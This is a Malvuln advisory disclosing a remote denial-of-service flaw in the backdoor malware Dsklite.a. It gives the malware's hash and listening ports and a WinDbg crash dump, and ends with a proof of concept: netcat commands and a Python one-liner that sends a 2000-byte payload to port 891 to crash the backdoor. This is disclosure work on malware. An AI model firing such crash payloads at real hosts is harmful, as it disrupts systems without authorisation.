Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Dsklite.a
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP ports 890, 891. Third-party attackers who can reach an infected system can connect to port 890, this will in turn open the vuln port 891. Attackers can then send a large payload to DOS the backdoor malware.
Type: PE32
MD5: 6c9665de78ae60a8e057d2c9cdb91596
Vuln ID: MVID-2022-0444
Dropped files: winlogon.exe
Disclosure: 01/05/2022

Memory Dump:
(1628.10d4): Unknown exception - code c000008f (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0019f238 ebp=0019f3c8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:000> .ecxr
eax=0019fb38 ebx=00412a90 ecx=00000002 edx=00000000 esi=0019fc1c edi=02549f28
eip=767508f2 esp=0019fb38 ebp=0019fb94 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
KERNELBASE!RaiseException+0x62:
767508f2 8b4c2454        mov     ecx,dword ptr [esp+54h] ss:002b:0019fb8c=6b57a7b6
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for msvbvm60.dll - 

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Module load completed but symbols could not be loaded for winlogon.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
KERNELBASE!RaiseException+62
767508f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 767508f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: c000008f
  ExceptionFlags: 00000001
NumberParameters: 2
   Parameter[0]: deadcafe
   Parameter[1]: deadcafe

PROCESS_NAME:  winlogon.exe

ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION}  Floating-point inexact result.

EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION}  Floating-point inexact result.

EXCEPTION_PARAMETER1:  deadcafe

EXCEPTION_PARAMETER2:  deadcafe

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000010d4

DEFAULT_BUCKET_ID:  STATUS_FLOAT_INEXACT_RESULT

PRIMARY_PROBLEM_CLASS:  STATUS_FLOAT_INEXACT_RESULT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT

LAST_CONTROL_TRANSFER:  from 660d0dcf to 767508f2

STACK_TEXT:  
0019fb94 660d0dcf c000008f 00000001 00000002 KERNELBASE!RaiseException+0x62
WARNING: Stack unwind information not available. Following frames may be wrong.
0019fbb4 66101d44 00000000 00000000 00000002 msvbvm60!EbGetHandleOfExecutingProject+0x22b3
0019fca0 764ee0bb 00419054 016106bc 0000c280 msvbvm60!ProcCallEngine+0x4ce7
0019fcd0 764f8849 004043b4 016106bc 0000c280 user32!_InternalCallWinProc+0x2b
0019fcf4 764fb145 0000c280 000002e4 00000001 user32!InternalCallWinProc+0x20
0019fdc4 764e90dc 004043b4 00000000 0000c280 user32!UserCallWinProcCheckWow+0x1be
0019fe30 764e38c0 0019fe78 6600a6c8 0019fe50 user32!DispatchMessageWorker+0x4ac
0019fe38 6600a6c8 0019fe50 ffffffff 04071e54 user32!DispatchMessageA+0x10
0019fe78 6600a63f ffffffff 04071e7c 04070000 msvbvm60!_vbaStrToAnsi+0x2f1
0019febc 6600a51d 04071f4c ffffffff 00001628 msvbvm60!_vbaStrToAnsi+0x268
0019fed8 6600a4e8 04071e78 04071f4c ffffffff msvbvm60!_vbaStrToAnsi+0x146
0019fefc 66003644 ffffffff 00401224 00401224 msvbvm60!_vbaStrToAnsi+0x111
003b6000 ffffffff 00400000 77477be0 02541878 msvbvm60!ThunRTMain+0xa0
00000000 00000000 00000000 00000000 00000000 0xffffffff


FOLLOWUP_IP: 
user32!_InternalCallWinProc+2b
764ee0bb 648025ca0f0000fe and     byte ptr fs:[0FCAh],0FEh

SYMBOL_STACK_INDEX:  3

SYMBOL_NAME:  user32!_InternalCallWinProc+2b

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: user32

IMAGE_NAME:  user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:  STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc

BUCKET_ID:  APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b


Exploit/PoC:
1) connect to port 890 to open vuln port 891
nc64.exe x.x.x.x 890

2) send large packet to trigger DOS
python -c "print('A'*2000)" | nc64.exe x.x.x.x 891

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).